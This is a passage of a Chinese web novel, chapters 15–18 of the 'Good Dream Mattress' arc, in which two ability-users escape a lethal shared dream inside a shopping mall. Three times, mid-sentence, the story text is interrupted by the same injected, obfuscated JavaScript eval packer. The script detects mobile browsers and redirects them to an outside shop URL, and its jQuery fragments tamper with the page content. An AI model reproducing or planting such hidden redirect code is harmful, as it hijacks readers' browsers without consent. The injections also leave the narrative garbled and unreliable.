“如果我不去干预,他们必死无疑。试着违抗织茧者的诱导至少有一线生机。”雁惊春主动伸出手,“你好,我是雁惊春,破茧行动组的,特性是【蜂】。” 女人眉尾微扬,似乎有些讶异,但还是与她握了握手:“段青锋,特性是【螂】。” 说完女人收回手,饶有兴味地打量起雁惊春的表情。 雁惊春不明所以,继续道:“我的天赋是【支配·神医】,能用医生身份支配其它人和非人。我还是第一次接触【螂】特性的能力者,为了方便之后的合作,能告诉我你的天赋是什么吗?” “哈,原来你不知道【螂】特性对应的天赋,难怪你敢主动找我握手。”段青锋咧开嘴笑了,“我的天赋是【收割·离鞘】,至于具体用法嘛......” 她头也不回地冲着刚刚被踩扁的头颅勾了勾手指,霎时间,一把弯刀穿透头颅冒了出来。 “在我眼中,一切有形之物的内里都藏着一柄利刃。只要被我触碰过,我就能让那柄利刃破开外壳,离鞘而出。” 段青锋盯着雁惊春,脸上的笑容逐渐扩大:“怎么样,现在后悔和我握手了吗?” 15. 好梦床垫3 雁惊春看了看地上那颗被利刃贯穿的头颅,突然上前两步,再度握住段青锋的手晃了两下。 “听起来是很适合暗杀的能力呢,谢谢你能告诉我。”雁惊春面不改色地松开手。 “哎,你可真没意思。”段青锋盯着她看了两秒,收敛了脸上的笑容:“你想要跟我合作?那就先活过这一轮再说吧。” 话毕她越过雁惊春,径直走回了编号100的床位,往对应的工作人员身上摸了几下便躺到了床上。 现在距离限时结束只剩下1分钟,雁惊春也不再耽搁,快步走到编号99的床位躺下。 在闭上眼前,她望向站在一旁的工作人员:“抱歉,我睡觉不太老实,待会儿检测睡眠的时候可能要辛苦你了。” 工作人员对此毫无反应,依旧站得笔直、目视前方,仿若一座雕塑。 二十几秒后,主席台上的经理拍了拍手,十几张嘴巴一齐开口:“时间到!本轮入睡限时结束,接下来5分钟请各位工作人员开始检测入睡情况!” 话音刚落,场馆内轻缓的助眠音乐戛然而止,取而代之的是节奏感极强的摇滚乐。 在场的100名工作人员同时转动头颅,柔软的身躯向下弯折,贴近了各自床上的参与者。 在编号100的床位旁,工作人员的身体刚刚折下四十五度,它的脑袋、手腕和腰侧便骤然弹出四柄长剑,巨大的冲击力瞬间将它的上半身钉在了床头的靠背上。 它踢踏着双腿试图挣扎,然而下一刻,它的小腿处也弹出了两把尖刀,把它的下半身钉死在了侧面的床体。 这下它再也无法移动,只能像被风吹拂的床幔一样徒劳地扭动身体。 雁惊春听到利刃出鞘的声音和某样东西被钉住时发出的“笃笃”声,便猜到了隔壁床位发生了什么。 现在段青锋已独自解决了危机,其他人也因她的精神污染而陷入了沉睡,她不必再费心关照别人的安危,只需应对身旁编号99的工作人员。 她平躺在床上耐心地等待着,在感受到它逐渐凑近的呼吸后,假借翻身猛然挥出拳头,准确地砸在了工作人员的脸上。 工作人员被她打得后退几步,却见雁惊春依然闭着眼侧躺在床上,呼吸绵长,仿佛仍在安眠。 它停顿片刻,再度凑到床边。 这次还没等它贴近,雁惊春就再次变换了睡姿,直接将它一脚踢翻。 工作人员的上半身扑倒在了床上,还没等它爬起来,两条腿便重重砸下。雁惊春在床上翻来覆去地调整睡姿,很快就将工作人员的上半身压成了扁扁的饼状。 工作人员的双腿蹬着地面,好半晌才将自己的上半身解救出来。 它挪动脚步让被压扁的脸朝向雁惊春的方向,就见她正四仰八叉地躺在床上,紧闭双眼发出敷衍的鼾声。 工作人员:...... 它不死心地迈开双腿,弯下扁平的上半身,又一次试图接近雁惊春。 雁惊春没再给它逃脱的机会,直接双臂一揽,像搂着抱枕一样将它紧紧箍住,同时双腿压在工作人员的腿上,把它的下半身也压得扁扁的。 在彻底控制住工作人员后,雁惊春的睡姿突然变得十分安稳。直到经理宣布检测结束,她立刻睁开眼睛跳下床,顺手将变成纸片人的工作人员扫到了地上。 主席台上滚落一地的头不知为何已消失不见,经理又恢复到了活动开始时的模样:“第一轮活动到此结束,本轮通关的人数是——64人!恭喜大家!” 场馆内陆续苏醒的众人听到这个结果,纷纷欢呼起来,有些人甚至喜极而泣: “太好了,我活下来了!” “我们现在是不是可以离开了?” 然而就在这时,一名学生发现了不对:“喂,等等......是我的错觉吗?我怎么感觉这个场馆变大了?” 此言一出,犹如兜头泼下一盆冰水,瞬间浇灭了众人刚刚燃起的喜悦。 他们纷纷转头打量起周围的环境,很快就发现了更多的异样: “这张床是不是变大了?之前的宽度是一米二,但是现在好像变成了一米五?” “刚刚我们的床不是离得很近吗?现在距离怎么这么远了!” “这里的天花板本来就有这么高吗?” “啪!”就在众人再度陷入焦灼之时,经理突然猛地一拍双手,拉回了众人的注意。 它的脸上还是那副笑眯眯的表情:“各位,请不要着急。好梦床垫的目标是帮助客户更快入睡、做个好梦,但现下大家只体验了入睡环节,还没能做个好梦呢。” “接下来,就请大家躺回床上,尽情编织属于你的美好梦境吧!本轮做梦限时15分钟,我们的工作人员会帮助你们呈现梦境,如果限时结束还没能成功做梦,就会被淘汰哦。” “那么第二轮活动现在开始,请各位尽快入睡,做个好梦哦。” 经理宣布活动开始后的下一瞬,有几个工作人员的形态忽而发生了改变。 其中一个变成了身高两米有余、肌肉虬结且猪头人身的屠夫,它手中提着巨大的砍刀,身上和刀刃上遍布血迹。 另一个变成了披头散发的男鬼,浑身上下只剩一副骨架和一张皮,瘦骨嶙峋的身上披着一件破旧的白袍,四肢如同树木的枝丫般从躯干上支棱出去。 还有一个变成了无耳无目无鼻,只长了一张巨口的怪物,它大张的嘴里遍布层层尖牙,涎水不住地从牙缝中流下。 一时间此起彼伏的尖叫声响彻场馆。 尤其是距离发生变异的工作人员最近的几人,已然被吓得动弹不得,只能眼睁睁地看着屠夫举起沾血的屠刀,向他头顶劈来;男鬼伸出干枯的双手,想扼住眼前人的咽喉;怪物张开深渊般的巨口,要将周围的一切尽数吞噬。 眼见这几人就要血溅当场,雁惊春却在扫视过变异的工作人员后,倏然一个箭步冲向离她最近的男鬼。 她先是飞起一脚将男鬼踢开,紧接着伸手拉住床上吓呆的少男,一把将他扯下了床。 刹那间,男鬼变回了工作人员的模样,安静地从地上爬起来,站回床边不动了。 雁惊春见猜想得到印证,立即高喊:“所有人都赶快从床上下来!下了床怪物就会消失!” 众人如梦初醒,反应快的人赶忙手脚并用地滚下床,反应慢的则被身边人拉扯着从床上跌下。 随着所有人都从床上离开,形形色色的怪物们也变回了工作人员的模样,重新站回了各自对应的床边。 雁惊春若有所思,扭头询问还扒在自己身上的少男:“你刚才变出的男鬼有点眼熟,好像是几年前一部大热恐怖片里的角色?” 少男仍惊魂未定,紧紧抱着雁惊春的胳膊不放。听到她的询问,少男又抽噎了两下才小声回答:“是的,当时我的同学们都在讨论那部片子,我就去看了,结果被男鬼吓得好几天睡不着觉。” 雁惊春点点头,又扬声问其他人:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750703|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们呢,刚刚出现的那些怪物,你们之前有在哪见到过吗?” “那个屠夫我见过!我最近玩的恐怖游戏里,最终BOSS和它长得一模一样!”一名学生立刻举手响应。 有人思索片刻,不确定地说:“那个长了好多牙的怪物,好像是上周新出的电影里的......” 除此之外的其余几只怪物,也陆续有人说明了出处,全部都是已有的文艺作品中出现过的角色。 此时死里逃生的几人已逐渐恢复了镇定,雁惊春忙抓紧机会向他们确认,之前是否有看过那些作品。 他们给出的答案相当一致,每个人都曾在相应的作品中见过自己变出的怪物,且每只怪物都是他们各自心中最恐惧且印象最深的那个。 这下不少人都意识到怪物出现的原因了。 一名学生率先开口:“经理让我们做梦,还说工作人员会呈现梦境,意思就是当我们躺在床上时,对应的工作人员就会变成我们内心最恐惧的样子,对吧?” 绝大多数人都对她的推测表示认同。 然而搞清了怪物出现的原因,众人的心情却越发沉重。 “不做梦的话就会被淘汰,做了梦又会被自己最害怕的怪物杀死,那这一轮岂不是所有人都必死无疑!”有人颤声说出了大家的担忧,使得场馆内的氛围变得更加沉重。 “不,即使做了梦,也不一定会造出怪物。”雁惊春一开口,众人的视线便瞬间转移到了她身上,不少人都不自觉地目露希冀。 雁惊春:“你们之前待在床上的时候,都产生了怎样的念头?是不是感觉恐惧、感到绝望?” 造出过怪物的几人纷纷点头。 “你们感到恐惧和绝望,所以做的梦也是令人恐惧和绝望的,那如果我们脑海中的念头不是负面的呢?做出的梦是不是也会不同?”雁惊春说着准备故技重施,再次使用了技能【行医资格证】。 然而这次,她的手中什么都没出现。 雁惊春错愕地望向自己已经抬起一半的手。她分明感觉技能已经使用成功了,手心也能感受到证件的触感,可当她看向手心时,却完全看不到【行医资格证】的存在。 该死,这肯定是织茧者搞的鬼! 但它究竟是怎么做到的?她只知道技能会失效,可没听说过技能使用后还能隐形的! 离她最近的少男察觉到她的停顿,小心地询问:“怎么了?” “没事。”雁惊春定了定神,索性取消了技能,继续道:“所以大家先不要慌乱,可以先试试躺在床上时想些积极的东西,看看呈现的梦是否会有所不同。” 说完她便打算亲自尝试一下,可她的手臂还被少男牢牢抱着,动弹不得。 雁惊春无奈地低头看向少男,少男眨巴着朦胧的泪眼与她对视,依旧没有松手的打算。 “我来试试吧。”在她身后,段青锋忽然开口揽下了任务。 雁惊春扭头看去,就见段青锋已经动作利落地躺到了床上。 转眼间,编号100的工作人员发生了变化。 它身上的几柄利刃顷刻消失,原本中性的身材逐渐变得纤瘦可人。 板正的黑色制服褪去,变成了胸前开口直达小腹、两侧开叉直抵腿根的裙装,喉结被黑色的项圈箍住,白皙的肌肤上缀着闪亮的链条,看起来分外神圣。 雁惊春:“......” 不是,姐妹,我让你想点积极的东西,你怎么想得是擦边男啊! 16. 好梦床垫4 虽说心中吐槽不止,但擦边男的出现的确瞬间扭转了现场压抑的气氛。 毕竟当威胁性命的怪物突然变成了供人取悦的观赏品后,众人实在很难再对其产生敬畏。 不少人都开始对变成擦边男的工作人员指指点点,露出心照不宣的笑容;其余人则羞耻的别开了脸,刻意不去看那道搔首弄姿的身影。 雁惊春身旁的少男也涨红着脸垂下头,前额抵在她的手臂上,轻声抱怨:“她怎么想得是这种事呀......” “呃,这个,她应该是为了让大家尽快放松心情,所以才特意选了这种反差大的形象吧。这都是策略,放心,一切都在她的计划之中。”雁惊春胡乱替段青锋解释了几句,赶紧转移话题。 “各位,正如你们亲眼所见,工作人员会呈现怎样的梦境,取决于你们在床上时脑中产生了怎样的想法,这可是你们美梦成真的好机会!” 雁惊春挥舞着手臂,语调激昂:“你们有没有想要品尝却一直没能得到的美食?有没有心中思念却再也见不到的人?有没有曾经憧憬却未能实现的梦想?如果有的话,就把这十几分钟当作一场拟真体验,去尽情享受吧!” 人群中爆发出欢呼声,每个人的眼睛都一扫阴霾,变得闪闪发亮,纷纷迫不及待地奔向自己的床位。 少男也终于松开了雁惊春,小跑到自己的床上,兴奋地看着工作人员变成了缀满可爱装饰的超高层蛋糕:“哇,是高塔蛋糕!我为了减肥一直不敢订购,今天终于见到实物了!” 三位学生惬意地靠在床头,看着各自的导师对自己进行全方位无死角的赞美,放声大笑:“哈哈,原来我就是传说中的学术天才!” 一个已经满头白发的年老女人小心地伸出手,轻轻抚摸床边那名乌发女人的脸颊,老泪纵横:“妈妈,我都这么老了,你怎么看起来还是那么年轻呀。” 雁惊春在场馆内巡视了一圈,发现所有人都沉浸在了自己的美好幻想中:疲惫的社畜看见老板卑微认错、允诺放假和加薪;年老色衰的男人听见前妻深情告白“我最爱的还是你”;养过宠物的人抱住已去汪星的狗狗,尽情抚摸它柔软的毛发。 确认过没有人再制造出怪物后,雁惊春放下心来,走回了自己的床边。 在她隔壁,段青锋无视了身边扭来扭去的擦边男,起身跟她打了个招呼:“你反应挺快嘛,还没等死人就摸清了这一轮的规则。” “要是织茧者看到自己设计的杀人环节被你玩成了这样,肯定会气疯。”段青锋想象着织茧者无能狂怒的样子,忍不住发笑。 雁惊春:“但是我们到现在还没能找到织茧者。这个场馆如此空旷,按理说它应该无处藏身。” 她将【行医资格证】隐形的事告诉了段青锋,推测道:“如果技能失效不是因为我和织茧者的等级差距过大,那么织茧者隐藏自己的方式很可能与证件隐形的方式类似——它其实一直呆在某个地方,只是我们肉眼看不到罢了。” “肯定不是因为等级差距,这个织茧者的等级又不是王虫,怎么可能截断释放成功的能力?”段青锋说完,发现雁惊春的表情有些迷茫,不由讶异:“你不会还不知道天赋等级的排序吧?” 雁惊春老实地点头:“我才刚完成孵化加入行动组,确实不知道天赋等级都有哪些。” 段青锋叹了口气,一脸无奈:“好吧,我只说一遍,你自己记住啊。能力者和织茧者的等级划分相同,都是五个,从低到高依次是蠕虫、结蛹、羽化、成虫、王虫。” “至于王虫之上还有没有更高的等级,这就没人知道了,毕竟目前能达到王虫级的能力者都屈指可数。” 她想了想,又补充了一句:“对了,能力者的等级排序是以女性能力者为基准的,如果是男性能力者,等级对应的能力强度可能不太准确。” “我只知道蜂特性对应的天赋会因性别而产生差异,原来等级也会受性别影响吗?”雁惊春有些意外。 “那当然,尤其螂特性表现得最明显。”段青锋举了个例子,“比如一个男性螂能力者的等级是结蛹,那他的真实实力只相当于蠕虫级的女性螂能力者。” 雁惊春惊讶道:“差了整整一个等级?” “这很正常啊,就像在自然界,你也不能指望雄螳螂打得过雌螳螂,对吧。”段青锋摊了摊手,“偏偏男性螂能力者还会变得冲动好战,简直是又菜又爱跳。” “原来性格会因为觉醒天赋发生改变啊。”雁惊春反思了一下,感觉自己觉醒前后的性格好像没什么变化。 段青锋:“是啊,就比如男性蜂能力者全是讨好型人格,男性蝶能力者都热衷于把自己打扮得花枝招展。像我们女性能力者,一般就不会受到影响......不对,其实也是有影响的。” 雁惊春连忙追问:“什么影响?” “我曾经调查过同为螂特性的女能力者,结果发现大家都有一个共同点。”段青锋神情严肃,“我们普遍更青睐白幼瘦的男性,审美如此统一,应该就是受到了觉醒天赋的影响,你说对吧?” 雁惊春:“......” 她默默无视掉这个问题,将话题拉回了正轨:“总之,既然我的技能失效和等级无关,那应该就与织茧者的藏身方式有关了。” “另外,场馆的空间、床位的间距和床垫的宽度在这一轮都变大了,这应该也与织茧者的能力有所关联。”雁惊春蹙起眉,试图在脑中把种种线索串联起来。 段青锋漫不经心地指了指她的手腕:“行动组不是有人工智能可以辅助破茧吗?你现在才蠕虫级,可以试试从它那里获取提示。” “啊,差点把它给忘了。”雁惊春恍然,立刻点开光脑,登入了行动组破茧专用程序。 在人工智能momo进行演算前,需要使用者先输入茧内情报,输入方式有场景扫描和文字录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755692|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入两种。 而今第一轮活动已经结束,可供扫描的仅有第二轮活动的场景。雁惊春担心情报不全会影响演算结果,便点击输入框,打算手动录入第一轮活动的情况。 然而她努力在光屏上敲击了好久,却怎么也打不出一句完整的话来。 要么是手滑按错了字母,要么是突然忘记了某个词的拼写,就算好不容易打出了一段话,内容也逻辑混乱、表达不清,就连她自己都看不懂是什么意思。 段青锋见她在屏幕上点了半天也没有动静,忍不住凑过去看了一眼。 “你这写得都是些什么玩意儿啊,狗屁不通的。”她拨开雁惊春的手,“让开,我来!” 段青锋的手指快速在屏幕上点按,片刻功夫便在输入框内打出了一段同样狗屁不通的话。 “什么鬼东西,你这光脑是不是出问题了?”她不可置信地检查着自己输入的内容,抬手将它们全部删除,重新输入。 雁惊春看着她的动作,脑中忽然灵光一闪,猛地按住了她的手:“我想到了。” 段青锋用力扯了扯,将手抽出:“什么?” “我想到自己在哪里见过相同的场景了。”雁惊春与她对视,“在梦里。” “每次我在梦里想要打字,都会遭遇刚刚那些状况,无论如何都打不出自己想表达的内容。”雁惊春迅速解释完,又向段青锋确认:“你呢?你做过这种梦吗?” 段青锋沉吟片刻:“唔,我好像也做过类似的梦,不管怎么着急都打不出字来。” “那有没有可能,我们现在就在梦里?”雁惊春目光灼灼。 段青锋也反应了过来:“你的意思是,这个茧其实是由织茧者的梦境构成的?” “没错。”雁惊春点了点头,“而且据我推断,每轮活动很可能就是一层梦境。我的【行医资格证】之所以没能出现,就是因为它被留在了第一层梦境中,而我们现在已经进入了第二层梦境。” 段青锋:“难怪我们找不到织茧者,它位于梦境之外,我们这些在梦里的人当然看不到它。” 雁惊春:“不过我们如今知道了茧的真面目,织茧者是谁就很明显了。毕竟在茧产生之前入睡的,只有一个。” “是那个穿着睡袍在两家床垫之间晃悠的家伙,对吧?”段青锋轻嗤一声,“我当时还奇怪呢,哪个男的敢在外面穿得那么浪。” 雁惊春表示认同:“我也觉得是他。我记得他不仅衣着古怪,身上还有一股......”很好闻的味道。 然而还没等她将话说完,便听段青锋同时道:“难怪那个男的身上一股恶臭味,周围的人却都没反应,原来它就是织茧者!” 雁惊春:“......” 她默默将没说完的话咽了下去。直到此时她才后知后觉地意识到,自己在那个“年轻男人”身上闻到的根本不是什么香水味。 那是食物的味道。 17. 好梦床垫5 段青锋并未察觉到雁惊春异常的停顿,仍在思索该怎样干掉织茧者:“我现在的等级是羽化,这个茧的织茧者等级略低于我,大概是结蛹。” “我对它有等级压制,所以织茧者的肉身强度应该无法抵御我制造的利刃,只要能想办法把它扎成筛子,就可以成功破茧。” 雁惊春定了定神,接话道:“可我们现在正处于梦境内,要想攻击到织茧者,就得先确认一下在梦境内使用能力是否可以影响到现实世界。” “这个简单。”段青锋转过身在床边按了一下,随后勾勾手指,让一把匕首从被她按过的地方离鞘而出。 在匕首弹出的同时,段青锋皱起眉“嘶”了一声,望向自己的右手。 雁惊春也跟着凑过去查看,发现她的手掌毫发无损,但她脸上吃痛的表情不似作假。 雁惊春略作思索,便明白了段青锋的目的:“刚刚匕首弹出的地方,是不是你最开始躺到床上时右手所在的位置?” 段青锋点头承认:“虽然我的手看起来没受伤,但我能切实感受到掌心的疼痛,说明我在现实中的右手已经被割破了。 这样看来,在梦中发动能力也能伤害到现实中的身体,只要找准位置就行了。” 雁惊春:“但是这也说明我们现实中的身体和梦境中一样,都被困在了商场8楼的场馆内,而织茧者却位于6楼的商铺中。 我们在梦境中根本无法抵达与6楼商铺相对应的位置,更别提向它发动攻击了。” 两人继续讨论了片刻,却始终没能想出攻击织茧者的方法。时间在她们的探讨中悄悄流逝,很快第二轮活动也即将结束。 按照本轮活动的规则,如果限时结束还没能成功做梦,就会遭遇淘汰。 为了避免被淘汰出局,她们只好暂停讨论,返回了各自的床上。 段青锋床边的工作人员很快变成了一个性感兔男郎,而雁惊春想了半天也没想好该让工作人员变成什么,索性开始在脑中回放从前看过的洗脑视频。 霎时间,地上那个扁扁的工作人员逐渐变得立体,等它再次站起时,已经变成了一只黑白相间的企鹅。 它一面说着“高雅人士来视察了”,一面摇摇摆摆地踱步到了雁惊春床前。 紧接着,这只企鹅再次扭曲变形,变成了一只有手有脚的大香蕉,开始边唱边跳:“两只老虎爱跳舞,小兔子乖乖拔萝卜......” 雁惊春靠在床头,看着工作人员不断变换形态,感觉像是连刷了十几条全息版短视频。 直到经理再次拍了拍手,又唱又跳的工作人员终于像是被按下了暂停键般,静止不动了。 “时间到!本轮做梦限时结束。”经理的视线扫过全场,“让我看看......哇,看来大家都做了个美梦呢,恭喜你们!我宣布,第二轮活动到此结束,本轮无人淘汰!” 有了之前的教训,这次经理刚一宣布活动结束,所有人就立刻从床上跳了下来。 雁惊春环顾四周,发现周围的环境又变得更加开阔宽敞了。 此时床铺的宽度已经达到了一米八以上,天花板变得愈发触不可及,过道也被拓宽了不少,整个场馆显得极为空旷。 然而与之前不同的是,明明所有参与者都已经从床上离开,工作人员却并未变回原样,依然维持着被参与者们塑造出的形象。 雁惊春的心头涌上不详的预感,与此同时,经理脸上的笑容不断扩大,变得愈发夸张。 它两侧的唇角直接咧到了耳根,上下嘴唇分别扯到了鼻端和下巴,使得它的下半张脸全部被黑洞洞的口腔占据。 “哎呀,哎呀,真没想到这么多人都能快速入睡,还能做个好梦。看来大家都与好梦床垫十分契合呢!”语气狂热的声音自它深不见底的口中传出。 “既然如此,就请大家更多、更多地支持好梦床垫吧!”它倏地抬起双手,像是在做起拍动作的乐团指挥:“那么现在,第三轮活动开始!” 随着它将双手用力挥下,每张床上的床垫都像是获得了生命般,猝然从床板上立了起来,猛地朝着旁边的参与者扑去! 大多数人都没能躲过这突如其来的变故,被床垫扑了个正着。 在被床垫接触到的瞬间,他们便仿若陷进了一团轻柔的云雾,半个身体霎时嵌入了床垫之中,彻底动弹不得,唯一能做的只有高声呼救。 少数幸运儿侥幸躲开了床垫的第一次扑击,可还没他们松口气,便见床垫如活物一般,扭动着、弹跳着,开始追捕这些漏网之鱼,试图把他们也吸纳进自己的怀抱。 每当有人被吸进床垫,与他们对应的工作人员就犹如被吹鼓的气球,身形迅速膨胀成之前的数倍。 而后,它们就如变形机甲合体时那样,与其它发生膨胀的工作人员互相组合起来,变成了一个密不可分的整体。 虽然这些工作人员已经变成了人们心中渴盼的模样,但是当它们组合在一起时,场面就变得十足诡异。 更何况如今众人还被床垫牢牢束缚着,在身体的拘束和视觉的冲击下,即便知道产生畏惧会令工作人员变为怪物,许多人也依旧难以压抑内心的恐惧。 转眼间,好几个“美梦”就转变为了可怖的怪物。而这一变化又引起了更多人的恐慌,怪物的数量如同滚雪球般越来越多。 很快,所有人都深深陷入了恐惧的漩涡。 “该死的织茧者,这会儿连演都不演了!”段青锋在过道上左躲右闪,“你听见了吧?刚刚那个经理连本轮限时和任务目标都没说,它们根本没打算让我们活过这一轮!” 雁惊春因奔跑而有些气息不稳:“你有没有注意到,那些被床垫捉住的人表现得越是惊恐,就陷得越深,与床垫接触的部分也会变得更加血肉模糊。再这样下去,恐怕所有人都会被床垫消化掉。” 此时吸纳了人类的床垫还在不断增多,更糟糕的是,它们不会在捕食成功后躺回原来的床板, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759850|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而继续保持着直立,一边消化自己身上的人类,一边挪动着帮无人的床垫堵截猎物。 段青锋烦躁地“啧”了一声,从口袋里掏出两件杂物,顷刻间将其变为两柄长刀,同时双脚在地面一旋,甩开手臂将长刀划出一个半圆,生生将追击的床垫逼退几米。 “我帮你拦着追你的床垫,你快点想想办法啊!”段青锋挥舞着双刀牵制床垫,头也不回地冲雁惊春大吼:“你们支配天赋能玩儿的花样不是很多吗!” 有了段青锋的掩护,雁惊春终于暂时从围堵中脱身。她用力喘了两口气,脑中飞速划过自己现有的天赋和技能。 首先是她的天赋【织茧·庸医】,可以将面积为10平方米的空间划定为诊所。 但是这个场馆的空间本就极大,又经过了两轮扩张,面积远超10平方米,她的天赋根本无法施展。 至于她至今为止使用次数最多的技能【行医资格证】,则直接被织茧者扣在了第一层梦境,同样不能发挥作用。 唯一剩下的,只有她在“治愈”和谐小区的织茧者后,获得的新技能【医护聘用书】。 这个技能可以让她招聘一名符合诊所等级的医护,而且这名医护损毁后还能重新进行招聘,是个很适合拿来生产一次性耗材的技能。 然而,这名医护只能在她的诊所范围内活动。 这就又回到了最初的问题,她根本没法将这么大的空间划定为诊所。 雁惊春瞥了眼四面受敌的段青锋,暗暗咬牙。她不能浪费段青锋拼死争取来的时间,必须尽快想到破关方法。 有没有什么被自己忽视的细节?有没有什么可以利用的规则? 雁惊春的视线在场馆内巡视一圈,突然注意到了在床垫的夹缝中被挤来挤去的兔男郎。 那是个按段青锋的想法变幻了形态的工作人员。由于段青锋现在还没有被床垫捉住,所以它还保持着之前的形态,即没有改变外形,也没有膨胀变大。 ......等等,这是不是说明,只要在这一轮接触到床垫,就可以将“梦境”放大? 转瞬间,雁惊春的脑海中闪过无数片段。 她想起了被留在第一层梦境的证件,想起了不断变幻形态的工作人员,想起了每轮都在扩张的场馆。她终于意识到自己忽视了什么—— 这里是梦境之内,而梦里,是不讲逻辑的。无论多么荒诞、多么脱离现实的念头,在梦里都可以实现。 如今限制着她的,已经不再是天赋的使用条件,而是她自己的认知。 雁惊春望向那张被段青锋牵制住的、编号99的床垫,突然迈开脚步,朝着它狂奔过去。 “你来干嘛?我不是叫你去想办法吗,这里我能顶住!”段青锋没料到她会主动闯入包围圈,驱赶道:“赶快出去!” 雁惊春却对段青锋的阻拦充耳不闻。 面对向自己袭来的床垫,她非但没再闪躲,反而主动迎上前,扑了进去。 18. 好梦床垫6 霎时间,雁惊春只觉得自己像是坠入了一团云雾之中,柔软的床垫温柔地包裹了她。 趁着自己还没彻底被床垫束缚住,她转动了一下身体,让身体的正面得以朝向床垫之外。 刚调整好姿势,她便发觉松软的床垫表面骤然沁出了一层粘性极强的胶状物质,不仅牢牢黏住了她背后的皮肉,还在不断将她向更深处拖去。 一旦她想要抵抗那股力道,与床垫接触的部分便会传来灼烧般的疼痛。 “爹的,你疯了吗!你被织茧者精神污染了吗!” 雁惊春艰难地低下头,望向声音传来的方向。 在她下方,段青锋仍在举刀对抗着试图吸纳自己的床垫,由于雁惊春此时已被捕获,编号99的床垫行动迟缓了不少,已经对她造成不了什么威胁了。 段青峰面临的压力骤减,骂人都骂得更流畅了:“老娘费尽力气帮你拖着追你的床垫,你可倒好,转头就把自己给喂进去了!” “放心,我没有被精神污染,这只是计划的一部分而已。”雁惊春冲她眨眨眼,“你们收割天赋应该很能打吧?麻烦你再撑一会儿,我马上就好。” 说完,她不再理会段青锋的质询,自顾自合上双眼,专心在脑中构筑医院的场景。 与之相对的,编号99的工作人员开始迅速膨胀,很快就变得和其它膨胀后的工作人员一样巨大。 然而它的膨胀并未就此停下。雁惊春的意念犹如一只不停运作的打气筒,不断将产生的想法注入它的身体。 它的身体因此越胀越大,甚至逐渐超过了其余所有噩梦组合在一起的体积。 终于,在达到某个临界点后,工作人员的身体像是被撑爆的气球,瞬间炸裂开来! 无数碎片飞溅而出,布满了场馆的每一个角落,顷刻间便与场馆融为了一体。 紧接着,整个场馆都开始发生变化。 暗色的地板与墙壁被粉刷上洁白的颜色,高悬的天花板上多出数盏电灯,将室内照得灯火通明。 每张床垫都蓦地失去了活性,“砰”、“砰”地砸落在地面,又被无形之手拖拽回了原本所属的床架。 由无数噩梦组合而成的怪物崩解开来,重新分散到了每一张床位旁边,变成了一台台健康检测仪器,发出此起彼伏的“滴滴”声。 看到这一幕,经理脸上的笑容终于消失,它慌乱地跳下主席台试图阻止,却被突然出现在身前的隔板绊倒在地。 当它错愕地扭头回望时,才发现就连主席台也已经被扭曲了外形,变成了半圆形的导诊台。 “不对、不对!梦境不该是这样的!”经理狼狈地从地上爬起,想要立即终止这意料之外的场面:“我宣布,第三轮活动——” 还没等经理把话说完,一柄长刀便破空而至,直接穿透了它的嘴巴,将它死死钉在了导诊台上,截断了它的话音。 “这会儿想起来推流程了?晚了!”段青锋冷笑一声,按着刀柄又往里推了几寸,随后在经理身上连拍几掌,用接连弹出的利刃将它彻底钉死。 * 另一头,雁惊春睁开双眼,小幅度转动眼珠,环顾这个由自己构筑出的场景。 以她当前的天赋等级,原本是无法制造出占地如此广阔的医院的。但这里是梦境之内,只要她觉得自己可以做到,就能将想象化为现实。 通俗来讲,在这里,力量的主要来源不是什么天赋等级,而是“俺寻思”之力。 不过现在这个梦境并不稳固,她能感觉到有另一股力量正在与自己角力,试图重新执掌梦境的控制权。 身下的床垫也在帮着织茧者与她抗衡,原本只是像胶水一样将她黏住的物质,而今好似化作了强酸,无时无刻不在腐蚀着她的血肉。 雁惊春疼得直抽气,咬牙强撑着不让自己因剧痛而失去意识,同时一刻不停地将周围变回场馆的地方重新打上“补丁”,艰难地维持住医院的场景。 但她心知肚明,这样下去自己坚持不了太久,必须尽快进行下一步行动——既然已经有了医院,就可以召唤医护了。 雁惊春摊开手掌,一张A4纸大小的【医护聘用书】便出现在她手中。 聘用书上的栏目十分全面,性别、职位、性格、体型、能力等信息一应俱全,只需她稍动念头,就可以往表格里填充想要的内容。 此时她已然分不出多少精力去编写聘用书,原本只打算随便糊弄一下,把表格填满召唤出可供驱使的医护即可,但考虑到段青锋的喜好,最终她还是特意将性别填成了男性,将体型设定为了白幼瘦。 在聘用书填写完毕的刹那,薄薄的纸张自雁惊春手中飞出,尚未落地便化作了一个身着白色衬衫和包臀短裙、小臂和大腿处缠着几圈绷带的男护士。 